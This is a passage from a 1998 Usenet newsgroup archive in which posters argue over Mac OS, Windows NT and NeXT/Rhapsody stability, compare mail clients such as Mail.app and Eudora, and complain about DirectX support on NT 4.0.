>> * Windows people despise that. Windows people are more
>> * tolerant of techie stuff, and Mac people can't understand
>> * that.
>> I don't buy this last bit at all. The issue is not whether
>> Mac people (or Windows users for that matter) are or are not
>> technically inclined. The real issue is whether you want to
>> spend your time getting done the work you wanted to get done,
>> or whether you want to spend your time screwing around fixing
>> the computer hardware and software.
>
>You are VASTLY overestimating the downtime of Windows computers. I've
>had just a few nasty things happen since Win95 was introduced, and I've
>added HD's, cdroms, motherboard swaps.. You name it. I've seen other
>people have a few problems, but the workarounds/fixes were fairly easy.
>Maybe it comforts you to think that all Windows people do is
>troubleshoot, but it's just not the case. I get work done, play games,
>and have fun on all the Windows machines I've ever had. Sorry, but the
>main thing that Macs I've used have done is crash. I have an older Mac
>now that is having problems connecting to PPP. It gives a cryptic error
>saying "PPP failed to initialize" even though I can see no problems.
Without statistics, your point is moot. And I expect your numbers, if you
offered them, would not be of statistical significance.
In 15 years of cross-platform experience on over 3000 physically distinct
computers, I'd sum-up Win95/NT as appearing to be fine operating systems
if you stick with mostly Microsoft products and don't do any significant
amount of installation/removal. As soon as you start running out of IRQs,
or if you try to really push the machine in terms of software, you'll run
into trouble. I've done contract work where I've worked exclusively on
NT, and end-user applications (non-Microsoft, mind you) have crashed
enough to bring an NT system down a few times a day.
If you don't push it, don't use a wide range of software or hardware, are
careful/lucky with what you choose for hardware/software add-ons, you'll
be fine. But the fundamental problem is that it is wholely unpredictable,
and when things go really wrong, there is no recourse but to re-install,
which is a patent farce.
The MacOS may not be robust, but it is stable, and the hardware is very
consistent. There is always a reason behind problems, and with basic
knowledge and some logical thinking software and hardware solutions can be
arrived at with a minimum of fuss, and rarely a re-installation of
anything. A Windows user/admin faced with a MacOS problem typically
treats it like an inscrutible Windows problem and tries to solve it that
way, hence the general opinion of Macs as no better than Windows. Treat
Macs as managable and ultimately stable, and they will be that way. I get
uptimes of at least 3 weeks on my PowerMac at home under heavy strain.
The old Quadra 650 I have at work running DNS, POP, and SMTP has been up
for months.
In my room at home I run an Apple //c, IIgs, two SE/30s (one MachTen, the
other linux-68k), IIci (NetBSD), IIcx (NetBSD), LCII (MacOS), NeXT Turbo
Color slab, and a PowerCenter Pro 180 (running BeOS, MkLinux, and MacOS,
and under emulation I run a Nintendo, Atari, IIe, IIgs, Win95, WinNT, and
OS/2). Well versed in all these, I am most productive under the MacOS,
though I find UNIX and their variants to be the most robust - well, at
least as robust as the Apple II line. ;)
--
Nathan Raymond
http://www.everythingmac.com
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 04 May 1998 11:30:59 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-0405981130590001@jchristie.halifaxcable.dal.ca>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <1d76snt.17ecjre1ykt2xdN@ppgutkneco.lirmm.fr> <1998040920073876968@dialup-202.def.oleane.com> <6hhht9$57p$15@ironhorse.plsys.co.uk>
In article <6hhht9$57p$15@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <1998040920073876968@dialup-202.def.oleane.com> Jacques Foucry wrote:
> > Olivier Gutknecht <gutkneco+news@lirmm.fr> wrote (Ýcrivait)€:
> >
> > > Agreed. The only explanation is that Apple is not interested anymore in
> > > small/independant development groups.
> >
> > Perhaps, but without small/independant developer, no "Super Clock", no
> > "Stickies", no new Control Strip...
> >
> And the downside...?
>
> FWIW, Stickies for Rhapsody was pretty much our Friday afternoon project for
> the folks at Apple Cork...
But, the concept was thought up by someone else (MacHack wasn't it?).
An implementation of Stickies is relatively simple. The reason one needs
the small developers is for the innovation, not the implementation.
Unless, of course, one uses the definition of innovation from the
Microsoft dictionary :).
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: MklinuxDR2 & RhapsodyDR2 running side by side?
Newsgroups: comp.sys.next.advocacy
References: <6ijpv5$p11@nnrp1.farm.idt.net>
Message-ID: <354dd457.0@news.depaul.edu>
Date: 4 May 98 14:44:39 GMT
JWL --delete NOSPAM <echo4@NOSPAM.idt.net> wrote:
> or would we want to see a MklinuxDR2 running side by side with Rhapsody or
> would we want see Mklinux replace BSD. I thought it would be an
> interesting question to post. Lastly, would someone like to comment on if
> it would be possible to merge the OpenBSD/BSD4.4 code base with the Linux
> code base giving the user the best of both worlds. Have a good one folks.
I'm sorry, I don't see the point. Most of the command-line software
will recompile for Rhapsody, if it's not included on the CD. As for the
X-based software, it's mostly open-source, right? Port it to YellowBox!
Which would you prefer to have, an X-windows app, or a Rhapsody app that
actually takes advantage of the platform's capabilities?
It's not like the situation with Windows apps. Nobody but Microsoft
has the source to Access, so you *have* to use SoftPC or VirtualPC
and run Windows on top of your OS.
I really don't understand this side-by-side OS fetish.
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Complaints about MS products (was: Re: Flipping Joe's Bozo Bit)
Date: 4 May 1998 15:03:52 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6iklco$568$1@new-news.cc.brandeis.edu>
References: <MPG.fb3ce561c3ae1c0989 <MPG.fb4017d7b738828989725@news.itg.ti.com> <edewEsAv25.HEB@netcom.com>
In article <edewEsAv25.HEB@netcom.com> edew@netcom.com (Eric Dew) writes:
>In article <MPG.fb4017d7b738828989725@news.itg.ti.com> jmcn@msg.ti.com (Jason McNorton) writes:
[NT issues snipped]
>Maybe Apple should start a new ad campaign: Is this acceptable? and do
>a compare and contrast.
My experience with NT backs up what you just said. An "Is this
acceptable?" campaign might work, but I think Apple should go to the heart
of the issue with very heavy doses of hard-hitting sarcasm, along the
lines of, "Windows: Looking busy" It would feature IS/IT folk hidden
off-camera lauding Windows for its ability to keep them and the end-users
occupied all day, permitting a concentration of power in the IS dept.,
letting them dictate what to buy because end-users get a sense of
helplessness out of using Windows, as they'll never be able to fully
understand the Registry or IRQs and DMA conflicts so that will have to be
left to IS. (while Windows < tractable do progress:=false) If IS/IT were
really to do their job in a lot of companies, they would have nothing to
do. IS/IT would have to be downsized. Windows is a form of job security
for a lot of people. Put in its place a tractable, manageable, robust,
stable, capable OS and a lot of people will be out of a job as support
time goes down.
>(Of course, the MacOS Finder is equally unacceptable
>in my book, as well as the fact that the scroll bars are on the right
>hand side, but I think that discussion has been through here more than once
>before.)
>
>EDEW
It's frustrating that the scroll bars on the the right, but from a
historical perspective it's understandable - live scrolling wasn't even
tried until a few years ago (standard in the 8.x Finder now). Out of the
box the Finder does fall a bit short in a few areas (like command key
equivalents, though there are a large number of little-known but
documented ones, its not as thorough as the BeOS). Four things that
provide absolutely amazing flexibilty for dealing with the hundreds of
files I move around a day are commond-dragging windows (doesn't bring the
window forward), option-clicking the collapse widget (collapses or
un-collapses all windows in that app at once), expand hierarchy and
collapse hierarchy in name view (both recursive and single-depth),
combined with OR selections (making a selection rectangle in the MacOS
unselects any selected items and selects unselected items, extremely
powerful with planned selections). I could do all these things with a
command line, but it would be much much slower. And as far as I can tell,
the NeXT Browser can't handle siblings in the directory tree directly, and
Windows is just a joke when it comes to trying to manage lots of files
(better to just leave them where they are). Some essentials for working
with the Finder/MacOS:
http://www.geocities.com/SiliconValley/Bay/2573/
http://www.bombaydigital.com/cmms/
Without these two, the Finder does not stack up (this is not by any means
my only add-ons...) Nice, but not essential is PowerWindows:
http://www.kaleidoscope.net/greg/PowerWindows.html
--
Nathan Raymond
http://www.everythingmac.com
Date: Mon, 04 May 1998 11:30:32 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Message-ID: <joe.ragosta-0405981130320001@wil92.dol.net>
References: <joe.ragosta-0105981323270001@wil111.dol.net> <MPG.fb4017d7b738828989725@news.itg.ti.com> <6ikjac$4ek$1@new-news.cc.brandeis.edu>
In article <6ikjac$4ek$1@new-news.cc.brandeis.edu>, xray@cs.brandeis.edu
(Nathan G. Raymond) wrote:
> In 15 years of cross-platform experience on over 3000 physically distinct
> computers, I'd sum-up Win95/NT as appearing to be fine operating systems
> if you stick with mostly Microsoft products and don't do any significant
> amount of installation/removal. As soon as you start running out of IRQs,
> or if you try to really push the machine in terms of software, you'll run
> into trouble. I've done contract work where I've worked exclusively on
> NT, and end-user applications (non-Microsoft, mind you) have crashed
> enough to bring an NT system down a few times a day.
>
> If you don't push it, don't use a wide range of software or hardware, are
> careful/lucky with what you choose for hardware/software add-ons, you'll
> be fine. But the fundamental problem is that it is wholely unpredictable,
> and when things go really wrong, there is no recourse but to re-install,
> which is a patent farce.
That pretty well sums it up.
I can't do any work on my computer today because the MIS group switched us
to NT servers which are down (again) today. That's about 15% down time
since they switched over 2 weeks ago. AND, because they bought into the
crap from Redmond, they configured our systems so that we can't even print
without the NT server being up.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Newsgroups: comp.sys.next.advocacy
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net>
In-Reply-To: <6ijusb$kos$2@ns3.vrx.net>
From: not@my.address.net
Message-ID: <5ol31.1667$1R1.7608934@news.itd.umich.edu>
Date: Mon, 04 May 1998 15:45:05 GMT
NNTP-Posting-Date: Mon, 04 May 1998 11:45:05 EDT
In <6ijcbt$d0u$1@news.cmc.net> Leon von Stauber claimed:
>
> I did want to mention that it handles folders-w/in-folders just fine.
> *However*, you need to create the folders of mailboxes in Workspace Manager
> (or at the cli), it can't be done from w/in Mail.
Yes it can. Open up the "Mailboxes" panel within mail. Type something like
"Newfolder/Newmailbox" and click "New". You'll get a new mailbox within the
folder "Newfolder".
--
invert: umich.edu jdevlin
insert: shift "2"
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: 4 May 1998 11:56:44 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6ikvgs$o2u$1@xmission.xmission.com>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <1d8gy6o.ou662yjv8vpcN@pppsl820.chicagonet.net>
In comp.sys.next.advocacy Edwin E. Thorne <ethorne@chicagonet.net> wrote:
: I went out to check out that Big Room and you don't have a clue! The
: Real World exists in a Big Room with a Black Ceiling that has a lot of
: Little Twinkling Lights.
That's funny.
: In the Real World there are a lot of people doing Real Work who have no
: use for Lotus, or Novell or IBM. Oddly enough, they're doing far more
: than merely posting to Usenet.
By all means, since these people don't have any need for Lotus, Novell, or
IBM, let's make sure that the others who do can't do their work on
Rhapsody. Screw those dumb guys, anyway! I mean, if they are stupid enough
to want to use NetWare or WordPerfect after that OpenDoc fiasco, then they
are stupid enough to use Windows, right?
If we keep going that way, we can have the platform all to ourselves, just
like we did with NEXTSTEP! We can even have our own special little club,
maybe in Joe's treehouse.
..........kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: macghod@concentric.net
Newsgroups: comp.sys.next.advocacy
Subject: softarc
Date: 4 May 1998 18:02:33 GMT
Message-ID: <6ikvrp$rrf$2@newsfep2.sprintmail.com>
References: <6ijpv5$p11@nnrp1.farm.idt.net> <6ik093$kos$3@ns3.vrx.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: maury@istar.ca
I am a bit unhappy softarc doesnt have a openstep fc client. What is their
problem?
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 4 May 1998 18:35:54 GMT
Organization: Cygnus Solutions
Message-ID: <6il1qa$em7$1@cronkite.cygnus.com>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: maury@remove_this.istar.ca
In <6ijusb$kos$2@ns3.vrx.net> Maury Markowitz wrote:
> In <6ijcbt$d0u$1@news.cmc.net> Leon von Stauber claimed:
> > Re: the interface, to each his own, I guess. I find the interface to be
> very
> > clean and usable. Certainly it's not the bewildering morass of icons and
> > other
> > GUI elements that M$ Outlook is.
>
> Certainly, but that strikes me as somewhat akin to "comparitive
dictators".
> There are very few mail apps with a good interface.
>
[Snip]
> > I hear that POP3 (and maybe IMAP4?) is part of Rhapsody's MailViewer.
>
> If based on the same interface though, this strikes me as little gain.
> What's worse is that all other mail apps on OpenStep, like PopOver and
> Eloquent built powerful new features but based it on the same outdated
> interface.
>
What mail client _DO_ you like? I have used regular unix mail, berkeley's
extension to it (Mailx), elm, pine, Eudora, Netscape, and Outlook... none of
these has anything I'd call a better interface than Mail.app. I quite
thoroughly enjoy Mail.app, and look forward to being able to continue using
it under Rhapsody.
> > And personally, I'm glad my mailer doesn't do NNTP.
>
> If you have used a well designed one, it's likely you wouldn't agree.
>
I don't think so. It's not necessarily a matter of interface, it's also a
matter of philosophy of software design. I'm definitely of the unix camp
where each tool does a specific job, does it well, and has an interface that
makes it easy to integrate tools. This is, for example, what "Services" are
all about. The Mail client and the News Client should not be integrated into
one huge piece of bloatware, whether the bloated app has a good interface or
not. Instead, they should both have a good interface, a good set of
features, and do their job well.. and have a good standard interface for
exchanging calls with eachother. This allows for modularization, and keeps
with the concept of using the right tool for the right job (_WHY_ would you
read news with a mail client? or visa versa? just doesn't make sense).
John
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Mon, 04 May 1998 14:07:56 -0500
Organization: Cthulhu's Witness
Message-ID: <TheLidlessEyeTh-0405981407570001@digital-01-95.hou.neoworld.net>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <1d8gy6o.ou662yjv8vpcN@pppsl820.chicagonet.net>
In article <1d8gy6o.ou662yjv8vpcN@pppsl820.chicagonet.net>,
ethorne@chicagonet.net (Edwin E. Thorne) wrote:
>>Kristofer Jon Magnusson <kris@xmission.xmission.com> wrote:
>>
>>
>>> I guess not you, since apparently all you use a computer for is to post to
>>> Usenet.
>>>
>>> People who want to run Lotus, Novell, and IBM products need Lotus,
>>> Novell, and IBM to support their platform. These people inhabit something
>>> called The Real World. This place exists in The Big Room with a Blue
>>> Ceiling that has a Really Bright Yellow Light. I understand that you
>>> haven't been there in years. It really is a lot nicer than where you are
>>> right now. These people have to do Real Work and solve Real (not
>>> Imaginary) Problems, like how to run Lotus Notes, how to connect to Novell
>>> networks, and other Real Things.
>>
>>I went out to check out that Big Room and you don't have a clue! The
>>Real World exists in a Big Room with a Black Ceiling that has a lot of
>>Little Twinkling Lights.
>>
>>In the Real World there are a lot of people doing Real Work who have no
>>use for Lotus, or Novell or IBM. Oddly enough, they're doing far more
>>than merely posting to Usenet.
>>
>>Edwin
>>------------------------------------------------
>>Created on an Apple Macintosh Performa 6400/180
I thought the Real World existed only on MTV....
-el
--
Diplomacy: the fine art of saying "nice doggie" while you're looking for a rock.
"You further a terrible reputation for Macintosh loyalists everywhere."
- Tom Vilot (tjv at indra dot com)
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Mon, 04 May 1998 14:12:18 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <354E1312.20EA@CONVEX.COM>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com>
Mime-Version: 1.0
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John Rudd wrote:
> What mail client _DO_ you like? I have used regular unix mail, berkeley's
> extension to it (Mailx), elm, pine, Eudora, Netscape, and Outlook... none of
> these has anything I'd call a better interface than Mail.app. I quite
> thoroughly enjoy Mail.app, and look forward to being able to continue using
> it under Rhapsody.
From the minimalist point of view, the old Solaris (2.3) mailtool was
the bomb. So simple, so fast, so easy to use. 99% of everything I do
could be done in mailtool with almost no effort.
From a more full-featured point of view, Claris Emailer 2.0 was a really
nice mailer. Too bad one of Apple's rare decent products was recently
canned (guess who?).
> This allows for modularization, and keeps
> with the concept of using the right tool for the right job (_WHY_ would you
> read news with a mail client? or visa versa? just doesn't make sense).
Because for a graphical client, handling mail and handling news have so
much overlap. And because reading news and reading mail are so
frequently done together and in the exact same way. And because neither
activity requires significant system resources, and because users who
read USENET tend to associate mail and news together for practical and
historical reasons. And because sending and receiving email is so often
done in combination with newsgroup posting. And because mail and news
messages tend to contain the same range of content. And because a
programmer who can write an email client should have no difficulty
writing an NNTP client.
MJP
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 4 May 1998 14:30:00 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ikjd8$6cd$1@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com>
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Cc: jrudd@cygnus.com
In <6il1qa$em7$1@cronkite.cygnus.com> John Rudd claimed:
> What mail client _DO_ you like?
Frankly, none. If anything though, I think the best overall was
CyberDog's. Clean, powerful, windowed (why do e-mail vendors insist in using
panes - or should that be PAINs?). MIME implementation was poor, and they
needed to add a IMAP4 mailbox type, but enjoyable overall.
> extension to it (Mailx), elm, pine, Eudora, Netscape, and Outlook... none
of
> these has anything I'd call a better interface than Mail.app.
But the nature of the market is such that that statement ends up meaning
little. All of these tend to be placed somewhere on my "sucks" scale.
> > If you have used a well designed one, it's likely you wouldn't agree.
>
> I don't think so. It's not necessarily a matter of interface, it's also a
> matter of philosophy of software design.
Agreed, which is why current solutions to such problems tend to be such
failures. They either try to mutate NNTP into a "mailbox" and use a mail
type metaphor to control it (which doesn't work), or they do the reverse.
Neither attempt is valid.
We've been over this before. If you want to see one that works, I'll be
attempting to bring a powerbook to demo with.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: softarc
Date: 4 May 1998 14:31:13 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ikjfh$6cd$2@ns3.vrx.net>
References: <6ijpv5$p11@nnrp1.farm.idt.net> <6ik093$kos$3@ns3.vrx.net>
<6ikvrp$rrf$2@newsfep2.sprintmail.com>
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Cc: macghod@concentric.net
In <6ikvrp$rrf$2@newsfep2.sprintmail.com> macghod@concentric.net claimed:
> I am a bit unhappy softarc doesnt have a openstep fc client. What is their
> problem?
Sorry, I don't work there any more, I have no idea.
Maury
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Mon, 04 May 1998 14:48:49 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <354E1BA1.6995@CONVEX.COM>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <6ikjd8$6cd$1@ns3.vrx.net>
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Maury Markowitz wrote:
>
> In <6il1qa$em7$1@cronkite.cygnus.com> John Rudd claimed:
> > What mail client _DO_ you like?
>
> Frankly, none. If anything though, I think the best overall was
> CyberDog's. Clean, powerful, windowed (why do e-mail vendors insist in using
> panes - or should that be PAINs?).
I like this question; here's my best guess at it.
The reason for using panes instead of independent windows is that using
windows is, ironically, a PAIN for the developer, especially if he/she
wants to create a cross platform app. With panes, all you have to do is
create one window, then let your geometry manager take over. When
porting, all you have to do is port your geometry management to whatever
toolkit the other platform uses.
With windows, by contrast, you have to do all kinds of dickering with
the windowing system, and frankly, under X11, that's pure bullshit. X11
doesn't have a clue when it comes to automatic or intelligent placement
of windows, and interactive placement is no cure. MacOS, by contrast,
has a very nice way of placing windows, and that's probably why
Mac-based software tends to use independent windows instead of big
chunky paned crap like most other systems.
For example: under Windows, almost everybody I know, by habit, keeps the
active window maximized. It's just the way things are, mostly because of
Windows' brain-damaged MDI setup. As a result, using multiple small
windows is basically near-impossible, since you can't expect users to
understand window management beyond the close button and the taskbar.
I always thought that the way Photoshop managed multiple small windows
under MacOS was brilliant. I can't, for the life of me, duplicate that
sort of thing under X11. For one thing, there is no supported window of
the kind Photoshop uses for toolbars and palettes (the one with the tiny
decoration). I wish X11 had such a thing. In the absence of one, I have
to create my own window-management mechanism, one which breaks any
window managers under which I haven't tested the thing. What a pain.
(Aside: this is yet another argument for LESS FRIGGING POLICY, PLEASE in
a graphical subsystem. If X11 didn't insist on defining window types
through ICCCM, I could count on window managers to act stupider. As it
is, they pretend to know everything about your window and act
accordingly.)
MJP
Date: Mon, 04 May 1998 15:20:32 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Message-ID: <joe.ragosta-0405981520330001@wil129.dol.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com>
In article <6il1qa$em7$1@cronkite.cygnus.com>, jrudd@cygnus.com wrote:
> What mail client _DO_ you like? I have used regular unix mail, berkeley's
> extension to it (Mailx), elm, pine, Eudora, Netscape, and Outlook... none of
> these has anything I'd call a better interface than Mail.app. I quite
> thoroughly enjoy Mail.app, and look forward to being able to continue using
> it under Rhapsody.
Can you explain why?
I like Eudora Pro and would be interested in your comments about what I
have to look forward to when I switch to Rhapsody.
>
> I don't think so. It's not necessarily a matter of interface, it's also a
> matter of philosophy of software design. I'm definitely of the unix camp
> where each tool does a specific job, does it well, and has an interface that
> makes it easy to integrate tools. This is, for example, what "Services" are
> all about. The Mail client and the News Client should not be integrated into
> one huge piece of bloatware, whether the bloated app has a good interface or
> not. Instead, they should both have a good interface, a good set of
> features, and do their job well.. and have a good standard interface for
> exchanging calls with eachother. This allows for modularization, and keeps
> with the concept of using the right tool for the right job (_WHY_ would you
> read news with a mail client? or visa versa? just doesn't make sense).
I agree......100%.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: <darknerd@shell4.ba.best.com>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Windoze Sux: DirectX vs NT50
Date: Mon, 4 May 1998 13:22:34 -0700
Message-ID: <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com>
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This is not really an attack to the actual technical merit of any given
operating system, but rather an attack on Micro$oft's business practices
screws up customers.
My argument is that Micro$oft is forcing users and developers to use
DOS-booting Windows '95 instead of the more stable WindowsNT.
I'm finding that more and more games are NOT supporting WindowsNT 4.0. I
recently explored Micro$oft's DirectX developer's site (DirectX being the
game technology), and found the latest version of DirectX is NOT supported
on WindowsNT 4.0, but rather be supported in WindowsNT 5.0 which forces me
to upgrade.
This SUCKS!!!!
Basically, Microsoft not supporting WindowNT 4.0 with DirectX is forcing
game companies to only support Windows '95. Furthermore, WindowsNT 4.0 is
obsoleted for future _UNRELEASED_ versions of WindowsNT.
This forces I, the consumer, to user Windows '95 or purchase an upgraded
version of WindowsNT 5.0 for the stability if affords and compatability
with current gaming software.
I'm really peeved by this!!! I can rant and raved all I want, but I think
letters to my senator's and attorny general are more appropriate on their
business practices.
They should give _all_ WindowsNT 4.0 end users a free upgrade to resolve
the matter.
regards,
Joaquin (darknerd AT shell4.ba.best.com)
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Mon, 04 May 1998 15:33:31 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <354E261B.A1D@CONVEX.COM>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com>
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darknerd@shell4.ba.best.com wrote:
[cut]
> I'm really peeved by this!!! I can rant and raved all I want, but I think
> letters to my senator's and attorny general are more appropriate on their
> business practices.
>
> They should give _all_ WindowsNT 4.0 end users a free upgrade to resolve
> the matter.
I'm willing to bet most people can guess my attitude toward this, so I
won't directly comment. But I wanted to note that a surprising number of
games *do* run on Windows NT 4.0, and in fact, with Service Pack 3
(which supports many features of DirectX 5), I've found that the number
of games supported on NT is actually *rising*. That's probably an
artifact of my choice of games, but I thought it should be said.
MJP
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 4 May 1998 20:12:41 GMT
Organization: Digital Fix Development
Message-ID: <6il7fp$smu$1@news.digifix.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <1d76snt.17ecjre1ykt2xdN@ppgutkneco.lirmm.fr> <1998040920073876968@dialup-202.def.oleane.com> <6hhht9$57p$15@ironhorse.plsys.co.uk> <*johnnyc*-0405981130590001@jchristie.halifaxcable.dal.ca>
In-Reply-To: <*johnnyc*-0405981130590001@jchristie.halifaxcable.dal.ca>
On 05/04/98, John Christie wrote:
> But, the concept was thought up by someone else (MacHack wasn't
it?).
